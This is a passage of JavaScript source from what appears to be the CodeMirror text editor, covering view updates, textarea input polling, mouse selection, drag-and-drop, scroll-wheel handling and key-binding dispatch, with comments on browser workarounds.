if (line < display.viewFrom || line >= display.viewTo) return;
var lineView = display.view[findViewIndex(cm, line)];
if (lineView.node == null) return;
var arr = lineView.changes || (lineView.changes = []);
if (indexOf(arr, type) == -1) arr.push(type);
}
// Clear the view.
function resetView(cm) {
cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
cm.display.view = [];
cm.display.viewOffset = 0;
}
// Find the view element corresponding to a given line. Return null
// when the line isn't visible.
function findViewIndex(cm, n) {
if (n >= cm.display.viewTo) return null;
n -= cm.display.viewFrom;
if (n < 0) return null;
var view = cm.display.view;
for (var i = 0; i < view.length; i++) {
n -= view[i].size;
if (n < 0) return i;
}
}
function viewCuttingPoint(cm, oldN, newN, dir) {
var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
return {index: index, lineN: newN};
for (var i = 0, n = cm.display.viewFrom; i < index; i++)
n += view[i].size;
if (n != oldN) {
if (dir > 0) {
if (index == view.length - 1) return null;
diff = (n + view[index].size) - oldN;
index++;
} else {
diff = n - oldN;
}
oldN += diff; newN += diff;
}
while (visualLineNo(cm.doc, newN) != newN) {
if (index == (dir < 0 ? 0 : view.length - 1)) return null;
newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
index += dir;
}
return {index: index, lineN: newN};
}
// Force the view to cover a given range, adding empty view element
// or clipping off existing ones as needed.
function adjustView(cm, from, to) {
var display = cm.display, view = display.view;
if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {
display.view = buildViewArray(cm, from, to);
display.viewFrom = from;
} else {
if (display.viewFrom > from)
display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view);
else if (display.viewFrom < from)
display.view = display.view.slice(findViewIndex(cm, from));
display.viewFrom = from;
if (display.viewTo < to)
display.view = display.view.concat(buildViewArray(cm, display.viewTo, to));
else if (display.viewTo > to)
display.view = display.view.slice(0, findViewIndex(cm, to));
}
display.viewTo = to;
}
// Count the number of lines in the view whose DOM representation is
// out of date (or nonexistent).
function countDirtyView(cm) {
var view = cm.display.view, dirty = 0;
for (var i = 0; i < view.length; i++) {
var lineView = view[i];
if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty;
}
return dirty;
}
// INPUT HANDLING
// Poll for input changes, using the normal rate of polling. This
// runs as long as the editor is focused.
function slowPoll(cm) {
if (cm.display.pollingFast) return;
cm.display.poll.set(cm.options.pollInterval, function() {
readInput(cm);
if (cm.state.focused) slowPoll(cm);
});
}
// When an event has just come in that is likely to add or change
// something in the input textarea, we poll faster, to ensure that
// the change appears on the screen quickly.
function fastPoll(cm) {
var missed = false;
cm.display.pollingFast = true;
function p() {
var changed = readInput(cm);
if (!changed && !missed) {missed = true; cm.display.poll.set(60, p);}
else {cm.display.pollingFast = false; slowPoll(cm);}
}
cm.display.poll.set(20, p);
}
// This will be set to an array of strings when copying, so that,
// when pasting, we know what kind of selections the copied text
// was made out of.
var lastCopied = null;
// Read input from the textarea, and update the document to match.
// When something is selected, it is present in the textarea, and
// selected (unless it is huge, in which case a placeholder is
// used). When nothing is selected, the cursor sits after previously
// seen text (can be empty), which is stored in prevInput (we must
// not reset the textarea when typing, because that breaks IME).
function readInput(cm) {
var input = cm.display.input, prevInput = cm.display.prevInput, doc = cm.doc;
// Since this is called a *lot*, try to bail out as cheaply as
// possible when it is clear that nothing happened. hasSelection
// will be the case when there is a lot of text in the textarea,
// in which case reading its value would be expensive.
if (!cm.state.focused || (hasSelection(input) && !prevInput) || isReadOnly(cm) || cm.options.disableInput)
return false;
// See paste handler for more on the fakedLastChar kludge
if (cm.state.pasteIncoming && cm.state.fakedLastChar) {
input.value = input.value.substring(0, input.value.length - 1);
cm.state.fakedLastChar = false;
}
var text = input.value;
// If nothing changed, bail.
if (text == prevInput && !cm.somethingSelected()) return false;
// Work around nonsensical selection resetting in IE9/10, and
// inexplicable appearance of private area unicode characters on
// some key combos in Mac (#2689).
if (ie && ie_version >= 9 && cm.display.inputHasSelection === text ||
mac && /[\uf700-\uf7ff]/.test(text)) {
resetInput(cm);
return false;
}
var withOp = !cm.curOp;
if (withOp) startOperation(cm);
cm.display.shift = false;
if (text.charCodeAt(0) == 0x200b && doc.sel == cm.display.selForContextMenu && !prevInput)
prevInput = "\u200b";
// Find the part of the input that is actually new
var same = 0, l = Math.min(prevInput.length, text.length);
while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same;
var inserted = text.slice(same), textLines = splitLines(inserted);
// When pasing N lines into N selections, insert one line per selection
var multiPaste = null;
if (cm.state.pasteIncoming && doc.sel.ranges.length > 1) {
if (lastCopied && lastCopied.join("\n") == inserted)
multiPaste = doc.sel.ranges.length % lastCopied.length == 0 && map(lastCopied, splitLines);
else if (textLines.length == doc.sel.ranges.length)
multiPaste = map(textLines, function(l) { return [l]; });
}
// Normal behavior is to insert the new text into every selection
for (var i = doc.sel.ranges.length - 1; i >= 0; i--) {
var range = doc.sel.ranges[i];
var from = range.from(), to = range.to();
// Handle deletion
if (same < prevInput.length)
from = Pos(from.line, from.ch - (prevInput.length - same));
// Handle overwrite
else if (cm.state.overwrite && range.empty() && !cm.state.pasteIncoming)
to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length));
var updateInput = cm.curOp.updateInput;
var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines,
origin: cm.state.pasteIncoming ? "paste" : cm.state.cutIncoming ? "cut" : "+input"};
makeChange(cm.doc, changeEvent);
signalLater(cm, "inputRead", cm, changeEvent);
// When an 'electric' character is inserted, immediately trigger a reindent
if (inserted && !cm.state.pasteIncoming && cm.options.electricChars &&
cm.options.smartIndent && range.head.ch < 100 &&
(!i || doc.sel.ranges[i - 1].head.line != range.head.line)) {
var mode = cm.getModeAt(range.head);
var end = changeEnd(changeEvent);
if (mode.electricChars) {
for (var j = 0; j < mode.electricChars.length; j++)
if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
indentLine(cm, end.line, "smart");
break;
}
} else if (mode.electricInput) {
if (mode.electricInput.test(getLine(doc, end.line).text.slice(0, end.ch)))
indentLine(cm, end.line, "smart");
}
}
}
ensureCursorVisible(cm);
cm.curOp.updateInput = updateInput;
cm.curOp.typing = true;
// Don't leave long text in the textarea, since it makes further polling slow
if (text.length > 1000 || text.indexOf("\n") > -1) input.value = cm.display.prevInput = "";
else cm.display.prevInput = text;
if (withOp) endOperation(cm);
cm.state.pasteIncoming = cm.state.cutIncoming = false;
return true;
}
// Reset the input to correspond to the selection (or to be empty,
// when not typing and nothing is selected)
function resetInput(cm, typing) {
var minimal, selected, doc = cm.doc;
if (cm.somethingSelected()) {
cm.display.prevInput = "";
var range = doc.sel.primary();
minimal = hasCopyEvent &&
(range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000);
var content = minimal ? "-" : selected || cm.getSelection();
cm.display.input.value = content;
if (cm.state.focused) selectInput(cm.display.input);
if (ie && ie_version >= 9) cm.display.inputHasSelection = content;
} else if (!typing) {
cm.display.prevInput = cm.display.input.value = "";
if (ie && ie_version >= 9) cm.display.inputHasSelection = null;
}
cm.display.inaccurateSelection = minimal;
}
function focusInput(cm) {
if (cm.options.readOnly != "nocursor" && (!mobile || activeElt() != cm.display.input))
cm.display.input.focus();
}
function ensureFocus(cm) {
if (!cm.state.focused) { focusInput(cm); onFocus(cm); }
}
function isReadOnly(cm) {
return cm.options.readOnly || cm.doc.cantEdit;
}
// EVENT HANDLERS
// Attach the necessary event handlers when initializing the editor
function registerEventHandlers(cm) {
var d = cm.display;
on(d.scroller, "mousedown", operation(cm, onMouseDown));
// Older IE's will not fire a second mousedown for a double click
if (ie && ie_version < 11)
on(d.scroller, "dblclick", operation(cm, function(e) {
if (signalDOMEvent(cm, e)) return;
var pos = posFromMouse(cm, e);
if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return;
e_preventDefault(e);
var word = cm.findWordAt(pos);
extendSelection(cm.doc, word.anchor, word.head);
}));
else
on(d.scroller, "dblclick", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); });
// Prevent normal selection in the editor (we handle our own)
on(d.lineSpace, "selectstart", function(e) {
if (!eventInWidget(d, e)) e_preventDefault(e);
});
// Some browsers fire contextmenu *after* opening the menu, at
// which point we can't mess with it anymore. Context menu is
// handled in onMouseDown for these browsers.
if (!captureRightClick) on(d.scroller, "contextmenu", function(e) {onContextMenu(cm, e);});
// Sync scrolling between fake scrollbars and real scrollable
// area, ensure viewport is updated when scrolling.
on(d.scroller, "scroll", function() {
if (d.scroller.clientHeight) {
setScrollTop(cm, d.scroller.scrollTop);
setScrollLeft(cm, d.scroller.scrollLeft, true);
signal(cm, "scroll", cm);
}
});
on(d.scrollbarV, "scroll", function() {
if (d.scroller.clientHeight) setScrollTop(cm, d.scrollbarV.scrollTop);
});
on(d.scrollbarH, "scroll", function() {
if (d.scroller.clientHeight) setScrollLeft(cm, d.scrollbarH.scrollLeft);
});
// Listen to wheel events in order to try and update the viewport on time.
on(d.scroller, "mousewheel", function(e){onScrollWheel(cm, e);});
on(d.scroller, "DOMMouseScroll", function(e){onScrollWheel(cm, e);});
// Prevent clicks in the scrollbars from killing focus
function reFocus() { if (cm.state.focused) setTimeout(bind(focusInput, cm), 0); }
on(d.scrollbarH, "mousedown", reFocus);
on(d.scrollbarV, "mousedown", reFocus);
// Prevent wrapper from ever scrolling
on(d.wrapper, "scroll", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });
on(d.input, "keyup", function(e) { onKeyUp.call(cm, e); });
on(d.input, "input", function() {
if (ie && ie_version >= 9 && cm.display.inputHasSelection) cm.display.inputHasSelection = null;
fastPoll(cm);
});
on(d.input, "keydown", operation(cm, onKeyDown));
on(d.input, "keypress", operation(cm, onKeyPress));
on(d.input, "focus", bind(onFocus, cm));
on(d.input, "blur", bind(onBlur, cm));
function drag_(e) {
if (!signalDOMEvent(cm, e)) e_stop(e);
}
if (cm.options.dragDrop) {
on(d.scroller, "dragstart", function(e){onDragStart(cm, e);});
on(d.scroller, "dragenter", drag_);
on(d.scroller, "dragover", drag_);
on(d.scroller, "drop", operation(cm, onDrop));
}
on(d.scroller, "paste", function(e) {
if (eventInWidget(d, e)) return;
cm.state.pasteIncoming = true;
focusInput(cm);
fastPoll(cm);
});
on(d.input, "paste", function() {
// Workaround for webkit bug https://bugs.webkit.org/show_bug.cgi?id=90206
// Add a char to the end of textarea before paste occur so that
// selection doesn't span to the end of textarea.
if (webkit && !cm.state.fakedLastChar && !(new Date - cm.state.lastMiddleDown < 200)) {
var start = d.input.selectionStart, end = d.input.selectionEnd;
d.input.value += "$";
// The selection end needs to be set before the start, otherwise there
// can be an intermediate non-empty selection between the two, which
// can override the middle-click paste buffer on linux and cause the
// wrong thing to get pasted.
d.input.selectionEnd = end;
d.input.selectionStart = start;
cm.state.fakedLastChar = true;
}
cm.state.pasteIncoming = true;
fastPoll(cm);
});
function prepareCopyCut(e) {
if (cm.somethingSelected()) {
lastCopied = cm.getSelections();
if (d.inaccurateSelection) {
d.prevInput = "";
d.inaccurateSelection = false;
d.input.value = lastCopied.join("\n");
selectInput(d.input);
}
} else {
var text = [], ranges = [];
for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
var line = cm.doc.sel.ranges[i].head.line;
var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
ranges.push(lineRange);
text.push(cm.getRange(lineRange.anchor, lineRange.head));
}
if (e.type == "cut") {
cm.setSelections(ranges, null, sel_dontScroll);
} else {
d.prevInput = "";
d.input.value = text.join("\n");
selectInput(d.input);
}
lastCopied = text;
}
if (e.type == "cut") cm.state.cutIncoming = true;
}
on(d.input, "cut", prepareCopyCut);
on(d.input, "copy", prepareCopyCut);
// Needed to handle Tab key in KHTML
if (khtml) on(d.sizer, "mouseup", function() {
if (activeElt() == d.input) d.input.blur();
focusInput(cm);
});
}
// Called when the window resizes
function onResize(cm) {
// Might be a text scaling operation, clear size caches.
var d = cm.display;
d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
cm.setSize();
}
// MOUSE EVENTS
// Return true when the given mouse event happened in a widget
function eventInWidget(display, e) {
for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
if (!n || n.ignoreEvents || n.parentNode == display.sizer && n != display.mover) return true;
}
}
// Given a mouse event, find the corresponding position. If liberal
// is false, it checks whether a gutter or scrollbar was clicked,
// and returns null if it was. forRect is used by rectangular
// selections, and tries to estimate a character position even for
// coordinates beyond the right of the text.
function posFromMouse(cm, e, liberal, forRect) {
var display = cm.display;
if (!liberal) {
var target = e_target(e);
if (target == display.scrollbarH || target == display.scrollbarV ||
target == display.scrollbarFiller || target == display.gutterFiller) return null;
}
var x, y, space = display.lineSpace.getBoundingClientRect();
// Fails unpredictably on IE[67] when mouse is dragged around quickly.
try { x = e.clientX - space.left; y = e.clientY - space.top; }
catch (e) { return null; }
var coords = coordsChar(cm, x, y), line;
if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {
var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;
coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
}
return coords;
}
// A mouse down can be a single click, double click, triple click,
// start of selection drag, start of text drag, new cursor
// (ctrl-click), rectangle drag (alt-drag), or xwin
// middle-click-paste. Or it might be a click on something we should
// not interfere with, such as a scrollbar or widget.
function onMouseDown(e) {
if (signalDOMEvent(this, e)) return;
var cm = this, display = cm.display;
display.shift = e.shiftKey;
if (eventInWidget(display, e)) {
if (!webkit) {
// Briefly turn off draggability, to allow widgets to do
// normal dragging things.
display.scroller.draggable = false;
setTimeout(function(){display.scroller.draggable = true;}, 100);
}
return;
}
if (clickInGutter(cm, e)) return;
var start = posFromMouse(cm, e);
window.focus();
switch (e_button(e)) {
case 1:
if (start)
leftButtonDown(cm, e, start);
else if (e_target(e) == display.scroller)
e_preventDefault(e);
break;
case 2:
if (webkit) cm.state.lastMiddleDown = +new Date;
if (start) extendSelection(cm.doc, start);
setTimeout(bind(focusInput, cm), 20);
e_preventDefault(e);
break;
case 3:
if (captureRightClick) onContextMenu(cm, e);
break;
}
}
var lastClick, lastDoubleClick;
function leftButtonDown(cm, e, start) {
setTimeout(bind(ensureFocus, cm), 0);
var now = +new Date, type;
if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) {
type = "triple";
} else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) {
type = "double";
lastDoubleClick = {time: now, pos: start};
} else {
type = "single";
lastClick = {time: now, pos: start};
}
var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey;
if (cm.options.dragDrop && dragAndDrop && !isReadOnly(cm) &&
type == "single" && sel.contains(start) > -1 && sel.somethingSelected())
leftButtonStartDrag(cm, e, start, modifier);
else
leftButtonSelect(cm, e, start, type, modifier);
}
// Start a text drag. When it ends, see if any dragging actually
// happen, and treat as a click if it didn't.
function leftButtonStartDrag(cm, e, start, modifier) {
var display = cm.display;
var dragEnd = operation(cm, function(e2) {
if (webkit) display.scroller.draggable = false;
cm.state.draggingText = false;
off(document, "mouseup", dragEnd);
off(display.scroller, "drop", dragEnd);
if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) {
e_preventDefault(e2);
if (!modifier)
extendSelection(cm.doc, start);
focusInput(cm);
// Work around unexplainable focus problem in IE9 (#2127)
if (ie && ie_version == 9)
setTimeout(function() {document.body.focus(); focusInput(cm);}, 20);
}
});
// Let the drag handler handle this.
if (webkit) display.scroller.draggable = true;
cm.state.draggingText = dragEnd;
// IE's approach to draggable
if (display.scroller.dragDrop) display.scroller.dragDrop();
on(document, "mouseup", dragEnd);
on(display.scroller, "drop", dragEnd);
}
// Normal selection, as opposed to text dragging.
function leftButtonSelect(cm, e, start, type, addNew) {
var display = cm.display, doc = cm.doc;
e_preventDefault(e);
var ourRange, ourIndex, startSel = doc.sel;
if (addNew && !e.shiftKey) {
ourIndex = doc.sel.contains(start);
if (ourIndex > -1)
ourRange = doc.sel.ranges[ourIndex];
else
ourRange = new Range(start, start);
} else {
ourRange = doc.sel.primary();
}
if (e.altKey) {
type = "rect";
if (!addNew) ourRange = new Range(start, start);
start = posFromMouse(cm, e, true, true);
ourIndex = -1;
} else if (type == "double") {
var word = cm.findWordAt(start);
if (cm.display.shift || doc.extend)
ourRange = extendRange(doc, ourRange, word.anchor, word.head);
else
ourRange = word;
} else if (type == "triple") {
var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0)));
if (cm.display.shift || doc.extend)
ourRange = extendRange(doc, ourRange, line.anchor, line.head);
else
ourRange = line;
} else {
ourRange = extendRange(doc, ourRange, start);
}
if (!addNew) {
ourIndex = 0;
setSelection(doc, new Selection([ourRange], 0), sel_mouse);
startSel = doc.sel;
} else if (ourIndex > -1) {
replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
} else {
ourIndex = doc.sel.ranges.length;
setSelection(doc, normalizeSelection(doc.sel.ranges.concat([ourRange]), ourIndex),
{scroll: false, origin: "*mouse"});
}
var lastPos = start;
function extendTo(pos) {
if (cmp(lastPos, pos) == 0) return;
lastPos = pos;
if (type == "rect") {
var ranges = [], tabSize = cm.options.tabSize;
var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);
var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);
var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);
for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));
line <= end; line++) {
var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);
if (left == right)
ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos)));
else if (text.length > leftPos)
ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize))));
}
if (!ranges.length) ranges.push(new Range(start, start));
setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),
{origin: "*mouse", scroll: false});
cm.scrollIntoView(pos);
} else {
var oldRange = ourRange;
var anchor = oldRange.anchor, head = pos;
if (type != "single") {
if (type == "double")
var range = cm.findWordAt(pos);
else
var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0)));
if (cmp(range.anchor, anchor) > 0) {
head = range.head;
anchor = minPos(oldRange.from(), range.anchor);
} else {
head = range.anchor;
anchor = maxPos(oldRange.to(), range.head);
}
}
var ranges = startSel.ranges.slice(0);
ranges[ourIndex] = new Range(clipPos(doc, anchor), head);
setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse);
}
}
var editorSize = display.wrapper.getBoundingClientRect();
// Used to ensure timeout re-tries don't fire when another extend
// happened in the meantime (clearTimeout isn't reliable -- at
// least on Chrome, the timeouts still happen even when cleared,
// if the clear happens after their scheduled firing time).
var counter = 0;
function extend(e) {
var curCount = ++counter;
var cur = posFromMouse(cm, e, true, type == "rect");
if (!cur) return;
if (cmp(cur, lastPos) != 0) {
ensureFocus(cm);
extendTo(cur);
var visible = visibleLines(display, doc);
if (cur.line >= visible.to || cur.line < visible.from)
setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150);
} else {
var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;
if (outside) setTimeout(operation(cm, function() {
if (counter != curCount) return;
display.scroller.scrollTop += outside;
extend(e);
}), 50);
}
}
function done(e) {
counter = Infinity;
e_preventDefault(e);
focusInput(cm);
off(document, "mousemove", move);
off(document, "mouseup", up);
doc.history.lastSelOrigin = null;
}
var move = operation(cm, function(e) {
if (!e_button(e)) done(e);
else extend(e);
});
var up = operation(cm, done);
on(document, "mousemove", move);
on(document, "mouseup", up);
}
// Determines whether an event happened in the gutter, and fires the
// handlers for the corresponding event.
function gutterEvent(cm, e, type, prevent, signalfn) {
try { var mX = e.clientX, mY = e.clientY; }
catch(e) { return false; }
if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false;
if (prevent) e_preventDefault(e);
var display = cm.display;
var lineBox = display.lineDiv.getBoundingClientRect();
if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e);
mY -= lineBox.top - display.viewOffset;
for (var i = 0; i < cm.options.gutters.length; ++i) {
var g = display.gutters.childNodes[i];
if (g && g.getBoundingClientRect().right >= mX) {
var line = lineAtHeight(cm.doc, mY);
var gutter = cm.options.gutters[i];
signalfn(cm, type, cm, line, gutter, e);
return e_defaultPrevented(e);
}
}
}
function clickInGutter(cm, e) {
return gutterEvent(cm, e, "gutterClick", true, signalLater);
}
// Kludge to work around strange IE behavior where it'll sometimes
// re-fire a series of drag-related events right after the drop (#1551)
var lastDrop = 0;
function onDrop(e) {
var cm = this;
if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
return;
e_preventDefault(e);
if (ie) lastDrop = +new Date;
var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
if (!pos || isReadOnly(cm)) return;
// Might be a file drop, in which case we simply extract the text
// and insert it.
if (files && files.length && window.FileReader && window.File) {
var n = files.length, text = Array(n), read = 0;
var loadFile = function(file, i) {
var reader = new FileReader;
reader.onload = operation(cm, function() {
text[i] = reader.result;
if (++read == n) {
pos = clipPos(cm.doc, pos);
var change = {from: pos, to: pos, text: splitLines(text.join("\n")), origin: "paste"};
makeChange(cm.doc, change);
setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));
}
});
reader.readAsText(file);
};
for (var i = 0; i < n; ++i) loadFile(files[i], i);
} else { // Normal drop
// Don't do a replace if the drop happened inside of the selected text.
if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {
cm.state.draggingText(e);
// Ensure the editor is re-focused
setTimeout(bind(focusInput, cm), 20);
return;
}
try {
var text = e.dataTransfer.getData("Text");
if (text) {
if (cm.state.draggingText && !(mac ? e.metaKey : e.ctrlKey))
var selected = cm.listSelections();
setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
if (selected) for (var i = 0; i < selected.length; ++i)
replaceRange(cm.doc, "", selected[i].anchor, selected[i].head, "drag");
cm.replaceSelection(text, "around", "paste");
focusInput(cm);
}
}
catch(e){}
}
}
function onDragStart(cm, e) {
if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; }
if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return;
e.dataTransfer.setData("Text", cm.getSelection());
// Use dummy image instead of default browsers image.
// Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.
if (e.dataTransfer.setDragImage && !safari) {
var img = elt("img", null, null, "position: fixed; left: 0; top: 0;");
img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
if (presto) {
img.width = img.height = 1;
cm.display.wrapper.appendChild(img);
// Force a relayout, or Opera won't use our image for some obscure reason
img._top = img.offsetTop;
}
e.dataTransfer.setDragImage(img, 0, 0);
if (presto) img.parentNode.removeChild(img);
}
}
// SCROLL EVENTS
// Sync the scrollable area and scrollbars, ensure the viewport
// covers the visible area.
function setScrollTop(cm, val) {
if (Math.abs(cm.doc.scrollTop - val) < 2) return;
cm.doc.scrollTop = val;
if (!gecko) updateDisplaySimple(cm, {top: val});
if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val;
if (cm.display.scrollbarV.scrollTop != val) cm.display.scrollbarV.scrollTop = val;
if (gecko) updateDisplaySimple(cm);
startWorker(cm, 100);
}
// Sync scroller and scrollbar, ensure the gutter elements are
// aligned.
function setScrollLeft(cm, val, isScroller) {
if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return;
val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);
cm.doc.scrollLeft = val;
alignHorizontally(cm);
if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val;
if (cm.display.scrollbarH.scrollLeft != val) cm.display.scrollbarH.scrollLeft = val;
}
// Since the delta values reported on mouse wheel events are
// unstandardized between browsers and even browser versions, and
// generally horribly unpredictable, this code starts by measuring
// the scroll effect that the first few mouse wheel events have,
// and, from that, detects the way it can convert deltas to pixel
// offsets afterwards.
//
// The reason we want to know the amount a wheel event will scroll
// is that it gives us a chance to update the display before the
// actual scrolling happens, reducing flickering.
var wheelSamples = 0, wheelPixelsPerUnit = null;
// Fill in a browser-detected starting value on browsers where we
// know one. These don't have to be accurate -- the result of them
// being wrong would just be a slight flicker on the first wheel
// scroll (if it is large enough).
if (ie) wheelPixelsPerUnit = -.53;
else if (gecko) wheelPixelsPerUnit = 15;
else if (chrome) wheelPixelsPerUnit = -.7;
else if (safari) wheelPixelsPerUnit = -1/3;
function onScrollWheel(cm, e) {
var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail;
if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail;
else if (dy == null) dy = e.wheelDelta;
var display = cm.display, scroll = display.scroller;
// Quit if there's nothing to scroll here
if (!(dx && scroll.scrollWidth > scroll.clientWidth ||
dy && scroll.scrollHeight > scroll.clientHeight)) return;
// Webkit browsers on OS X abort momentum scrolls when the target
// of the scroll event is removed from the scrollable element.
// This hack (see related code in patchDisplay) makes sure the
// element is kept around.
if (dy && mac && webkit) {
outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
for (var i = 0; i < view.length; i++) {
if (view[i].node == cur) {
cm.display.currentWheelTarget = cur;
break outer;
}
}
}
}
// On some browsers, horizontal scrolling will cause redraws to
// happen before the gutter has been realigned, causing it to
// wriggle around in a most unseemly way. When we have an
// estimated pixels/delta value, we just handle horizontal
// scrolling entirely here. It'll be slightly off from native, but
// better than glitching out.
if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {
if (dy)
setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight)));
setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth)));
e_preventDefault(e);
display.wheelStartX = null; // Abort measurement, if in progress
return;
}
// 'Project' the visible viewport to cover the area that is being
// scrolled into view (if we know enough to estimate it).
if (dy && wheelPixelsPerUnit != null) {
var pixels = dy * wheelPixelsPerUnit;
var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
if (pixels < 0) top = Math.max(0, top + pixels - 50);
else bot = Math.min(cm.doc.height, bot + pixels + 50);
updateDisplaySimple(cm, {top: top, bottom: bot});
}
if (wheelSamples < 20) {
if (display.wheelStartX == null) {
display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;
display.wheelDX = dx; display.wheelDY = dy;
setTimeout(function() {
if (display.wheelStartX == null) return;
var movedX = scroll.scrollLeft - display.wheelStartX;
var movedY = scroll.scrollTop - display.wheelStartY;
var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
(movedX && display.wheelDX && movedX / display.wheelDX);
display.wheelStartX = display.wheelStartY = null;
if (!sample) return;
wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);
++wheelSamples;
}, 200);
} else {
display.wheelDX += dx; display.wheelDY += dy;
}
}
}
// KEY EVENTS
// Run a handler that was bound to a key.
function doHandleBinding(cm, bound, dropShift) {
if (typeof bound == "string") {
bound = commands[bound];
if (!bound) return false;
}
// Ensure previous input has been read, so that the handler sees a
// consistent view of the document
if (cm.display.pollingFast && readInput(cm)) cm.display.pollingFast = false;
var prevShift = cm.display.shift, done = false;
try {
if (isReadOnly(cm)) cm.state.suppressEdits = true;
if (dropShift) cm.display.shift = false;
done = bound(cm) != Pass;
} finally {
cm.display.shift = prevShift;
cm.state.suppressEdits = false;
}
return done;
}
// Collect the currently active keymaps.
function allKeyMaps(cm) {
var maps = cm.state.keyMaps.slice(0);
if (cm.options.extraKeys) maps.push(cm.options.extraKeys);
maps.push(cm.options.keyMap);
return maps;
}
var maybeTransition;
// Handle a key from the keydown event.
function handleKeyBinding(cm, e) {
// Handle automatic keymap transitions
var startMap = getKeyMap(cm.options.keyMap), next = startMap.auto;
clearTimeout(maybeTransition);
if (next && !isModifierKey(e)) maybeTransition = setTimeout(function() {
if (getKeyMap(cm.options.keyMap) == startMap) {
cm.options.keyMap = (next.call ? next.call(null, cm) : next);
keyMapChanged(cm);
}
}, 50);
var name = keyName(e, true), handled = false;
if (!name) return false;
var keymaps = allKeyMaps(cm);
if (e.shiftKey) {
// First try to resolve full name (including 'Shift-'). Failing
// that, see if there is a cursor-motion command (starting with
// 'go') bound to the keyname without 'Shift-'.
handled = lookupKey("Shift-" + name, keymaps, function(b) {return doHandleBinding(cm, b, true);})
|| lookupKey(name, keymaps, function(b) {
if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion)
return doHandleBinding(cm, b);
});
} else {
handled = lookupKey(name, keymaps, function(b) { return doHandleBinding(cm, b); });
}
if (handled) {
e_preventDefault(e);
restartBlink(cm);
signalLater(cm, "keyHandled", cm, name, e);
}
return handled;
}
// Handle a key from the keypress event
function handleCharBinding(cm, e, ch) {
var handled = lookupKey("'" + ch + "'", allKeyMaps(cm),
function(b) { return doHandleBinding(cm, b, true); });
if (handled) {
e_preventDefault(e);
restartBlink(cm);
signalLater(cm, "keyHandled", cm, "'" + ch + "'", e);
}
return handled;
}
var lastStoppedKey = null;
function onKeyDown(e) {
